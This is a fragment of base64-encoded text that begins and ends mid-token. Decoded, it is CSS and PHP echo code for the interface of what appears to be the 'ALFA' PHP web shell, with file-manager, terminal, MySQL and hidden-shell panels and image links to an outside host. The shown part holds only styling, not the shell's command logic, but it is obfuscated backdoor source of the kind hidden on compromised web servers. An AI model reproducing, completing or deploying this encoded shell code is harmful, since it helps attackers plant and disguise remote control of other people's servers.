hYnMgLnRlcm1pbmFsLXRhYjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNhMjM5Mzl9LmVkaXRvci10YWJzLC5zcWwtdGFicywudGVybWluYWwtdGFic3twYWRkaW5nOjVweDtvdmVyZmxvdy14OmF1dG87d2hpdGUtc3BhY2U6bm93cmFwfS5vcHRpb25zLWxvYWRlci1ob2xkZXJ7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDowO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7YmFja2dyb3VuZDojMmIyNjI2Yzc7ei1pbmRleDoxMX0ub3B0aW9ucy1sb2FkZXItaG9sZGVyIGltZ3twb3NpdGlvbjphYnNvbHV0ZTt0b3A6MzIlO2xlZnQ6NDUlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTt3aWR0aDoxMDBweDthbmltYXRpb246c3BpbiAycyBpbmZpbml0ZX0jZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFiLmZpbGVzbWFuLXRhYi1hY3RpdmUsI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWUudGFiX2lzX2FjdGl2ZSwuZWRpdG9yLXRhYi1uYW1lLmVkaXRvci10YWItYWN0aXZlLC5zcWwtdGFibmFtZS5zcWwtYWN0aXZlLXRhYiwudGVybWluYWwtdGFiLmFjdGl2ZS10ZXJtaW5hbC10YWJ7YmFja2dyb3VuZC1jb2xvcjojMDA5Njg4fS50YWItaXMtZG9uZXthbmltYXRpb246MnMgdGFiX2NoYW5nZV9jb2xvciBpbmZpbml0ZSBzdGVwLWVuZH0uc3RvcEFqYXh7Y29sb3I6I2ZmZjtmb250LXNpemU6MjBweDtkaXNwbGF5OmlubGluZS1ibG9jaztwYWRkaW5nOjEwcHg7Y3Vyc29yOnBvaW50ZXJ9I2FfbG9hZGVye2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtiYWNrZ3JvdW5kOiMyYjI2MjZjNzt6LWluZGV4Ojk5fS5mbWFuYWdlci1yb3c+dGR7cG9zaXRpb246cmVsYXRpdmV9LmZtYW5hZ2VyLXJvdyAuc3ltbGlua19wYXRoe3Bvc2l0aW9uOmZpeGVkO21heC13aWR0aDoxMDAlO2JhY2tncm91bmQtY29sb3I6IzBmMzA0YTtib3JkZXItcmFkaXVzOjEwcHg7Zm9udC1zaXplOjE1cHg7cGFkZGluZzo4cHg7Y29sb3I6I2ZkZjRmNDtib3JkZXI6MXB4IHNvbGlkICM4YThhOGE7ei1pbmRleDoxO3BvaW50ZXItZXZlbnRzOm5vbmV9LmFyY2hpdmUtaWNvbnN7dmVydGljYWwtYWxpZ246bWlkZGxlfS5hcmNoaXZlLXR5cGUtZGlye2ZvbnQtd2VpZ2h0OmJvbGRlcn0uYXJjaGl2ZS10eXBlLWZpbGV7Zm9udC13ZWlnaHQ6dW5zZXR9LmFyY2hpdmUtbmFtZXtjdXJzb3I6cG9pbnRlcn0uYXJjaGl2ZV9kaXJfaG9sZGVyIGF7Y29sb3I6IzBmMDtmb250LXdlaWdodDpib2xkZXI7Y3Vyc29yOnBvaW50ZXJ9LmFyY2hpdmVfZGlyX2hvbGRlciBhOmhvdmVye2NvbG9yOiNmZmZ9LmVkaXRvci1jb250ZW50e2hlaWdodDoxMDAlfS5lZGl0b3ItY29udGVudC1ob2xkZXJ7aGVpZ2h0OjkwJX0uZWRpdG9yLWNvbnRlbnRze2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpyZWxhdGl2ZTtoZWlnaHQ6MTAwJX0uZWRpdG9yLWNvbnRlbnRzLmVkaXRvci1jb250ZW50LWFjdGl2ZXtkaXNwbGF5OmJsb2NrfS5oaXN0b3J5LXBhbmVsLWNvbnRyb2xsZXJ7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6I2ZmZjtwYWRkaW5nOjEwcHg7ei1pbmRleDoxMDAwO2JvcmRlci1yYWRpdXM6MTBweDt0b3A6NTAlO2xlZnQ6MTklO2JhY2tncm91bmQtY29sb3I6IzAwOTY4NztjdXJzb3I6cG9pbnRlcn0uc3FsLWNvbnRlbnR7ZGlzcGxheTpub25lO3Bvc2l0aW9uOnJlbGF0aXZlO21pbi1oZWlnaHQ6MzAwcHh9LnNxbC1jb250ZW50LnNxbC1hY3RpdmUtY29udGVudHtkaXNwbGF5OmJsb2NrfS5wYWdlcy1ob2xkZXJ7cGFkZGluZzo3cHh9LnBhZ2VzLW51bWJlcntkaXNwbGF5OmlubGluZS1ibG9jazttYXJnaW4tbGVmdDoxMHB4fS5wYWdlcy1ob2xkZXIgLnBhZ2VzLW51bWJlciBhLnBhZ2UtbnVtYmVye3BhZGRpbmc6NXB4O2JhY2tncm91bmQ6IzBmMzA0YTttYXJnaW4tcmlnaHQ6OHB4O2N1cnNvcjpwb2ludGVyO3dpZHRoOjMzcHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7dGV4dC1hbGlnbjpjZW50ZXI7Ym9yZGVyLXJhZGl1czo1cHg7Y29sb3I6I2ZmZjt0cmFuc2l0aW9uOmJhY2tncm91bmQgLjVzfS5hY3RpdmUtcGFnZS1udW1iZXJ7YmFja2dyb3VuZDojMTA5MjVjIWltcG9ydGFudH0ucGFnZXMtbnVtYmVyIGEucGFnZS1udW1iZXI6aG92ZXJ7YmFja2dyb3VuZDojOGE4YThhfS50ZXJtaW5hbC1jb250ZW50e2hlaWdodDoxMDAlfS50ZXJtaW5hbC1jb250ZW50LC50ZXJtaW5hbC10YWJ7ZGlzcGxheTpub25lfS50ZXJtaW5hbC1jb250ZW50LmFjdGl2ZS10ZXJtaW5hbC1jb250ZW50e2Rpc3BsYXk6YmxvY2s7cG9zaXRpb246cmVsYXRpdmV9LnRlcm1pbmFsLWJ0bi1mb250Y3Rse2JhY2tncm91bmQ6IzAwOTY4ODt3aWR0aDo1MHB4O2NvbG9yOiNmZmY7Zm9udC13ZWlnaHQ6Ym9sZGVyO291dGxpbmU6MDtjdXJzb3I6cG9pbnRlcn0uYWxlcnQtYXJlYXttYXgtaGVpZ2h0OjEwMCU7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjVweDtsZWZ0OjIwcHg7cmlnaHQ6MjBweDt6LWluZGV4Ojk5OTl9LmFsZXJ0LWJveHtmb250LXNpemU6MTZweDtjb2xvcjojZmZmO2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuOSk7bGluZS1oZWlnaHQ6MS4zZW07cGFkZGluZzoxMHB4IDE1cHg7bWFyZ2luOjVweCAxMHB4O3Bvc2l0aW9uOnJlbGF0aXZlO2JvcmRlci1yYWRpdXM6NXB4O3RyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbjstd2Via2l0LWFuaW1hdGlvbjphbGVydC1zaGFrZSAuNXMgZWFzZS1pbi1vdXQ7YW5pbWF0aW9uOmFsZXJ0LXNoYWtlIC41cyBlYXNlLWluLW91dH0uYWxlcnQtY29udGVudC10aXRsZXtmb250LXdlaWdodDo3MDB9LmFsZXJ0LWJveC5hbGVydC1zdWNjZXNze2JhY2tncm91bmQ6cmdiYSg1NiwxMjcsNTYsLjg5KX0uYWxlcnQtZXJyb3J7YmFja2dyb3VuZDpyZ2JhKDE5MSw1NCw1NCwuODkpfS5hbGVydC1ib3guaGlkZXtvcGFjaXR5OjB9LmFsZXJ0LWNsb3Nle2JhY2tncm91bmQ6MCAwO3dpZHRoOjEycHg7aGVpZ2h0OjEycHg7cG9zaXRpb246YWJzb2x1dGU7dG9wOjE1cHg7cmlnaHQ6MTVweH0uYWxlcnQtY2xvc2U6YWZ0ZXIsLmFsZXJ0LWNsb3NlOmJlZm9yZXtjb250ZW50OiIiO3dpZHRoOjE1cHg7Ym9yZGVyLXRvcDpzb2xpZCAycHggI2ZmZjtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6NXB4O3JpZ2h0Oi0xcHg7ZGlzcGxheTpibG9ja30uYWxlcnQtY2xvc2U6YmVmb3Jle3RyYW5zZm9ybTpyb3RhdGUoNDVkZWcpfS5hbGVydC1jbG9zZTphZnRlcnt0cmFuc2Zvcm06cm90YXRlKDEzNWRlZyl9LmFsZXJ0LWNsb3NlOmhvdmVyOmFmdGVyLC5hbGVydC1jbG9zZTpob3ZlcjpiZWZvcmV7Ym9yZGVyLXRvcDpzb2xpZCAycHggI2Q4ZDhkOH1AbWVkaWEgKG1heC13aWR0aDo3NjdweCkgYW5kIChtaW4td2lkdGg6NDgxcHgpey5hbGVydC1hcmVhe2xlZnQ6MTAwcHg7cmlnaHQ6MTAwcHh9fUBtZWRpYSAobWluLXdpZHRoOjc2OHB4KXsuYWxlcnQtYXJlYXt3aWR0aDozNTBweDtsZWZ0OmF1dG87cmlnaHQ6MDt6LWluZGV4Ojk5OTl9fUBrZXlmcmFtZXMgdGFiX2NoYW5nZV9jb2xvcnswJXtiYWNrZ3JvdW5kLWNvbG9yOiMxMzNkNTF9NTAle2JhY2tncm91bmQtY29sb3I6Z3JlZW59fUAtd2Via2l0LWtleWZyYW1lcyBhbGVydC1zaGFrZXswJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKDApfTIwJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKC0xMHB4KX00MCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgxMHB4KX02MCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9ODAley13ZWJraXQtdHJhbnNmb3JtOnRyYW5zbGF0ZVgoMTBweCl9MTAwJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKDApfX1Aa2V5ZnJhbWVzIGFsZXJ0LXNoYWtlezAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDApfTIwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9NDAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDEwcHgpfTYwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9ODAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDEwcHgpfTEwMCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoMCl9fS50ZXh0RWZmZWN0e3Bvc2l0aW9uOmFic29sdXRlO3dpZHRoOjUwMHB4O3RvcDotMTBweDthbmltYXRpb246YWxlcnQtc2hha2UgLjVzIGVhc2UtaW4tb3V0O2FuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6Mn0uYWxmYXRlYW0tbG9hZGVyLXRleHR7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6IzQ2YmI0NTt0b3A6MjMlO2xlZnQ6NDklO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtmb250LXNpemU6NDBweDtsZXR0ZXItc3BhY2luZzo3cHh9LmFsZmEtYWpheC1lcnJvcntwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojZmYwYTBhO3RvcDo1MCU7bGVmdDo1MCU7dHJhbnNmb3JtOnRyYW5zbGF0ZSgtNTAlLC01MCUpO2ZvbnQtc2l6ZTozMHB4fS5jb25uZWN0aW9uLWhpc3QtdGFibGV7bWFyZ2luLWxlZnQ6YXV0bzttYXJnaW4tcmlnaHQ6YXV0bzt0ZXh0LWFsaWduOmp1c3RpZnk7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlfS5jb25uZWN0aW9uLWhpc3QtdGFibGUgdGQsLmNvbm5lY3Rpb24taGlzdC10YWJsZSB0aHtib3JkZXI6MXB4IHNvbGlkICNkZGQ7dGV4dC1hbGlnbjpsZWZ0O3BhZGRpbmc6OHB4fS5jb25uZWN0aW9uLWhpcy1idG57bWFyZ2luLWJvdHRvbToxMHB4O3BhZGRpbmc6NXB4O2JhY2tncm91bmQ6IzIwNjkyMDtjb2xvcjojZmZmO2JvcmRlcjpub25lO291dGxpbmU6MDtjdXJzb3I6cG9pbnRlcjtmb250LXdlaWdodDo3MDA7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kIC4zc30uY29ubmVjdGlvbi1oaXMtYnRuLmNvbm5lY3Rpb24tZGVsZXRle21hcmdpbjp1bnNldDtwYWRkaW5nOjVweDtiYWNrZ3JvdW5kOnJlZDt3aWR0aDozM3B4O2JvcmRlci1yYWRpdXM6M3B4O3RyYW5zaXRpb246YmFja2dyb3VuZCAuM3N9LmNvbm5lY3Rpb24tZGVsZXRlOmhvdmVye2JhY2tncm91bmQ6I2Y1Njk2OSFpbXBvcnRhbnR9LmNvbm5lY3Rpb24taGlzLWJ0bjpob3ZlcntiYWNrZ3JvdW5kOiMzMGIzMzB9I3VwX2Jhcl9ob2xkZXJ7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDoxMDAwMDA7d2lkdGg6MTAwJX0jZmlsZXNtYW5fdGFic3twYWRkaW5nOjhweDtib3JkZXI6MXB4IHNvbGlkICMwZTMwNGE7Y29sb3I6IzY3YWJkZjtvdmVyZmxvdy14OmF1dG87d2hpdGUtc3BhY2U6bm93cmFwfS5zb3J0YWJsZS1naG9zdHtvcGFjaXR5Oi41O2JhY2tncm91bmQ6I2M4ZWJmYn0uZm9sZGVyLXRhYi1pY29ue3dpZHRoOjE2cHghaW1wb3J0YW50fSNmaWxlc21hbi10YWItZnVsbC1wYXRoe2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjphYnNvbHV0ZTtwb2ludGVyLWV2ZW50czpub25lO2JhY2tncm91bmQ6IzE2Mzc0NjtwYWRkaW5nOjdweDtjb2xvcjojMGYwO2JvcmRlci1yYWRpdXM6MTBweDttaW4td2lkdGg6NThweDt6LWluZGV4OjEwfSNmaWxlc21hbi10YWItZnVsbC1wYXRoOjphZnRlcntjb250ZW50OiIiO3Bvc2l0aW9uOmFic29sdXRlO3RvcDoxMDAlO2xlZnQ6MzVweDttYXJnaW4tbGVmdDotNXB4O2JvcmRlci13aWR0aDo1cHg7Ym9yZGVyLXN0eWxlOnNvbGlkO3BvaW50ZXItZXZlbnRzOm5vbmU7Ym9yZGVyLWNvbG9yOiMxNjM3NDYgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnR9Lm15c3FsLW1haW57aGVpZ2h0Ojg0dmg7cG9zaXRpb246cmVsYXRpdmV9Lm15c3FsLWhpZGUtY29udGVudHtkaXNwbGF5Om5vbmV9Lm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJze21hcmdpbi1ib3R0b206MTBweDtwYWRkaW5nOjNweDtib3JkZXItYm90dG9tOjRweCBzb2xpZCAjMGYzMDRhfS5teXNxbC1tYWluIC50YWJsZXMtcGFuZWwtY3Rse3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOiNmZmY7cGFkZGluZzoxMHB4O3otaW5kZXg6MTtib3JkZXItcmFkaXVzOjEwcHg7dG9wOjQ1JTtsZWZ0OmNhbGMoMTclICsgMTBweCk7YmFja2dyb3VuZC1jb2xvcjojMDA5Njg3O2N1cnNvcjpwb2ludGVyfS50YWJsZXMtcGFuZWwtY3RsLW1pbntsZWZ0Oi0yMXB4IWltcG9ydGFudH0ubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2e2Rpc3BsYXk6aW5saW5lLWJsb2NrO3BhZGRpbmc6NXB4O21hcmdpbi1yaWdodDoycHg7YmFja2dyb3VuZDojMTMzZDUxO2NvbG9yOiNmZmY7Y3Vyc29yOnBvaW50ZXI7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIC41c30ubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2OmhvdmVye2JhY2tncm91bmQtY29sb3I6I2EyMzkzOX0ubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Lm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYntiYWNrZ3JvdW5kOnJlZH10YWJsZSB0ci50Ymxfcm93Om50aC1jaGlsZChvZGQpe2JhY2tncm91bmQ6IzQyNDA0MH0ubXlzcWwtdGFibGVzIC50YWJsZXMtcm93e21hcmdpbi1sZWZ0OjI2cHh9Lm15c3FsLW1haW4gLm15c3FsLXF1ZXJ5LXJlc3VsdHMsLm15c3FsLW1haW4gLm15c3FsLXRhYmxlc3tmbG9hdDpsZWZ0O2hlaWdodDoxMDAlO292ZXJmbG93OmF1dG99Lm15c3FsLW1haW4gLm15c3FsLXF1ZXJ5LXJlc3VsdHN7d2lkdGg6Y2FsYyg4MCUgKyA0cHgpO21hcmdpbi1sZWZ0OjVweDtwb3NpdGlvbjpyZWxhdGl2ZTtvdmVyZmxvdzp1bnNldH0ubXlzcWwtbWFpbiAubXlzcWwtcXVlcnktcmVzdWx0cy1maXhlZHt3aWR0aDoxMDAlfS5teXNxbC1tYWluIC5teXNxbC1xdWVyeS1yZXN1bHRzIC5teXNxbC1xdWVyeS1jb250ZW50e2hlaWdodDo4OSU7b3ZlcmZsb3c6YXV0b30ubXlzcWwtcXVlcnktdGFiLWhpZGV7aGVpZ2h0OjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnR9Lm15c3FsLW1haW4gLm15c3FsLXRhYmxlc3t3aWR0aDoxOSU7Ym9yZGVyLXJpZ2h0OjRweCBzb2xpZCAjMGUzMDRhfS5teXNxbC1tYWluIHRhYmxlIHRke3ZlcnRpY2FsLWFsaWduOnRvcH0ubXlzcWwtbWFpbiAubXlzcWwtc2VhcmNoLWFyZWEgdGFibGUgdGR7dmVydGljYWwtYWxpZ246bWlkZGxlO3BhZGRpbmc6N3B4fS5teXNxbC10YWJsZXMgLmJsb2Nre3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjEuNWVtO2hlaWdodDoxLjVlbTttaW4td2lkdGg6MTZweDttaW4taGVpZ2h0OjE2cHg7ZmxvYXQ6bGVmdH0ubXlzcWwtdGFibGVzIGRpdi5ibG9jayBiLC5teXNxbC10YWJsZXMgZGl2LmJsb2NrIGl7d2lkdGg6MS41ZW07aGVpZ2h0OjEuN2VtO21pbi13aWR0aDoxNnB4O21pbi1oZWlnaHQ6OHB4O3Bvc2l0aW9uOmFic29sdXRlO2JvdHRvbTouN2VtO2xlZnQ6Ljc1ZW07ei1pbmRleDowfS5teXNxbC10YWJsZXMgLmJsb2NrIGl7ZGlzcGxheTpibG9jaztib3JkZXItbGVmdDoxcHggc29saWQgIzY2Njtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNjY2O3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6MH0ubXlzcWwtdGFibGVzIC5ibG9jayBie2Rpc3BsYXk6YmxvY2s7aGVpZ2h0Oi43NWVtO2JvdHRvbTowO2xlZnQ6Ljc1ZW07Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM2NjZ9Lm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgYSwubXlzcWwtdGFibGVzIGRpdi5ibG9jayB1e3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6NTAlO3RvcDo1MCU7ei1pbmRleDoxMH0ubXlzcWwtdGFibGVzIGRpdi5ibG9jayBpbWd7cG9zaXRpb246cmVsYXRpdmU7dG9wOi0uNmVtO2xlZnQ6MDttYXJnaW4tbGVmdDotN3B4fS5teXNxbC10YWJsZXMgLmNsZWFyZmxvYXR7Y2xlYXI6Ym90aH0ubXlzcWwtdGFibGVzIHVse2xpc3Qtc3R5bGUtdHlwZTpub25lO21hcmdpbi1sZWZ0OjA7cGFkZGluZzowfS5teXNxbC10YWJsZXMgdWwgbGl7d2hpdGUtc3BhY2U6bm93cmFwO2NsZWFyOmJvdGg7bWluLWhlaWdodDoxNnB4fS5teXNxbC10YWJsZXMgLmRiX25hbWV7bWFyZ2luLWxlZnQ6MTBweH0ubXlzcWwtdGFibGVzIC5saXN0X2NvbnRhaW5lcntib3JkZXItbGVmdDoxcHggc29saWQgIzY2NjttYXJnaW4tbGVmdDouNzVlbTtwYWRkaW5nLWxlZnQ6Ljc1ZW19LmhpZGUtZGItdGFibGVze2Rpc3BsYXk6bm9uZX0ubXlzcWwtbWFpbjphZnRlcntjb250ZW50OiIiO2Rpc3BsYXk6dGFibGU7Y2xlYXI6Ym90aH10YWJsZS5teXNxbC1kYXRhLXRibHtib3JkZXI6bm9uZSFpbXBvcnRhbnQ7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlIWltcG9ydGFudH10YWJsZS5teXNxbC1kYXRhLXRibCB0ciB0aHtwYWRkaW5nOjVweH10YWJsZS5teXNxbC1kYXRhLXRibCB0ZHtib3JkZXItbGVmdDozcHggc29saWQgIzMwNWE4ZDtib3JkZXItcmlnaHQ6M3B4IHNvbGlkICMzMDVhOGQ7cGFkZGluZzo2cHh9dGFibGUubXlzcWwtZGF0YS10YmwgdGQ6Zmlyc3QtY2hpbGR7Ym9yZGVyLWxlZnQ6bm9uZX10YWJsZS5teXNxbC1kYXRhLXRibCB0ZDpsYXN0LWNoaWxke2JvcmRlci1yaWdodDpub25lfS5teXNxbC1pbnNlcnQtcmVzdWx0LC5teXNxbC1zdHJ1Y3R1cmUtcXJlcywubXlzcWwtdXBkYXRlLXJlc3VsdHtkaXNwbGF5Om5vbmU7dGV4dC1hbGlnbjpjZW50ZXI7cGFkZGluZzoxMHB4O2JvcmRlcjoxcHggZGFzaGVkO21hcmdpbjoyMnB4fSNhbGZhLWNvcHlyaWdodHttYXJnaW4tdG9wOjE1cHh9LmljX2JfcGx1c3tiYWNrZ3JvdW5kLWltYWdlOnVybChodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvYl9wbHVzLnBuZyl9LmljX2JfbWludXN7YmFja2dyb3VuZC1pbWFnZTp1cmwoaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfbWludXMucG5nKX0KPD9waHAgZWNobyAnCkBrZXlmcmFtZXMgc3BpbiB7ZnJvbSB7dHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRve3RyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KQC13ZWJraXQta2V5ZnJhbWVzIHNwaW4ge2Zyb20gey13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRvIHstd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KQC1tb3ota2V5ZnJhbWVzIHNwaW4ge2Zyb20gey1tb3otdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRvIHstbW96LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KQC1tcy1rZXlmcmFtZXMgc3BpbiB7ZnJvbSB7LW1zLXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO310byB7LW1zLXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KI2FsZmFsb2FkZXJ7Jy4kY3NzY29kZS4nd2lkdGg6MTAwcHg7aGVpZ2h0OjEwMHB4O30KI2FfbG9hZGVyIGltZ3snLiRjc3Njb2RlLid3aWR0aDoxNTBweDtoZWlnaHQ6MTUwcHg7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDo5OTk5OTk7dG9wOiAzMSU7bGVmdDogNDUlO30KLmFqYXhhcmVhe2Rpc3BsYXk6bm9uZTtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7Y29sb3I6IzY3QUJERn0udXBfYmFye21hcmdpbi1ib3R0b206IDJweDt0cmFuc2l0aW9uOndpZHRoIDJzO2JhY2tncm91bmQtY29sb3I6cmVkO3dpZHRoOjA7aGVpZ2h0OjhweDtkaXNwbGF5Om5vbmU7fSNoaWRkZW5fc2h7YmFja2dyb3VuZC1jb2xvcjojMEUzMDRBO3RleHQtYWxpZ246Y2VudGVyO3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjA7bGVmdDo5MCU7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czoyZW19LmFsZXJ0X2dyZWVue2NvbG9yOiMwRjA7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2ZvbnQtc2l6ZTpzbWFsbDt0ZXh0LWRlY29yYXRpb246bm9uZX0ud2hvbGV7YmFja2dyb3VuZC1jb2xvcjojMDAwO2JhY2tncm91bmQtaW1hZ2U6dXJsKGh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2FsZmFiZy5wbmcpO2JhY2tncm91bmQtcG9zaXRpb246Y2VudGVyO2JhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXR9LmhlYWRlcntoZWlnaHQ6YXV0bzt3aWR0aDphdXRvO2JvcmRlcjo3cHggc29saWQgIzBFMzA0QTtjb2xvcjonLmFsZmFfZ2V0Q29sb3IoImhlYWRlcl92YWx1ZXMiKS4nO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWZ9LmhlYWRlciBhe3RleHQtZGVjb3JhdGlvbjpub25lO30uZmlsZXN0b29scyBhe2NvbG9yOiMwRjA7dGV4dC1kZWNvcmF0aW9uOm5vbmV9LmZpbGVzdG9vbHMgYTpob3Zlcntjb2xvcjojRkZGO3RleHQtZGVjb3JhdGlvbjpub25lO31zcGFue2ZvbnQtd2VpZ2h0OmJvbGRlcjtjb2xvcjojRkZGfS50eHRmb250e2ZvbnQtZmFtaWx5OiJDb21pYyBTYW5zIE1TIjtmb250LXNpemU6c21hbGw7Y29sb3I6I2ZmZjtkaXNwbGF5OmlubGluZS1ibG9ja30udHh0Zm9udF9oZWFkZXJ7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2ZvbnQtc2l6ZTpsYXJnZTtkaXNwbGF5OmlubGluZS1ibG9jaztjb2xvcjojNTljYzMzfS50Ymx0eHR7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2NvbG9yOiNmZmY7Zm9udC1zaXplOnNtYWxsO2Rpc3BsYXk6aW5saW5lLWJsb2NrfWlucHV0W3R5cGU9ImZpbGUiXXtkaXNwbGF5Om5vbmV9LmlucHV0ZmlsZXtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtib3JkZXItcmFkaXVzOjRweDtoZWlnaHQ6MjBweDt3aWR0aDoyNTBweDt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO3doaXRlLXNwYWNlOm5vd3JhcDtjdXJzb3I6cG9pbnRlcjtkaXNwbGF5OmlubGluZS1ibG9jaztvdmVyZmxvdzpoaWRkZW59LmlucHV0ZmlsZTpob3Zlcntib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH0uaW5wdXRmaWxlIHNwYW4sLmlucHV0ZmlsZSBzdHJvbmd7cGFkZGluZzoycHg7cGFkZGluZy1sZWZ0OjEwcHh9LmlucHV0ZmlsZSBzcGFue2NvbG9yOiMyNWZmMDA7d2lkdGg6OTBweDttaW4taGVpZ2h0OjJlbTtkaXNwbGF5OmlubGluZS1ibG9jazt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO3doaXRlLXNwYWNlOm5vd3JhcDtvdmVyZmxvdzpoaWRkZW47dmVydGljYWwtYWxpZ246dG9wO2Zsb2F0OmxlZnR9LmlucHV0ZmlsZSBzdHJvbmd7YmFja2dyb3VuZC1pbWFnZTp1cmwoJy5fX3Nob3dpY29uKCdhbGZhbWluaScpLicpO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOmZsb2F0O2hlaWdodDoxMDAlO3dpZHRoOjEwOXB4O2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMEUzMDRBO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2Zsb2F0OnJpZ2h0fS5pbnB1dGZpbGU6Zm9jdXMgc3Ryb25nLC5pbnB1dGZpbGUuaGFzLWZvY3VzIHN0cm9uZywuaW5wdXRmaWxlOmhvdmVyIHN0cm9uZ3tiYWNrZ3JvdW5kLWNvbG9yOiM0NjY0N0F9LmJ1dHRvbntwYWRkaW5nOjNweH0jYWRkdXAsLmJ1dHRvbntvdXRsaW5lOm5vbmU7Y3Vyc29yOnBvaW50ZXI7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6MTAwcHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4O2JhY2tncm91bmQtY29sb3I6IzAwMDtjb2xvcjpncmVlbjtib3JkZXItcmFkaXVzOjEwMHB4fSNhZGR1cDpob3ZlciwuYnV0dG9uOmhvdmVye2JveC1zaGFkb3c6MCAwIDRweCAj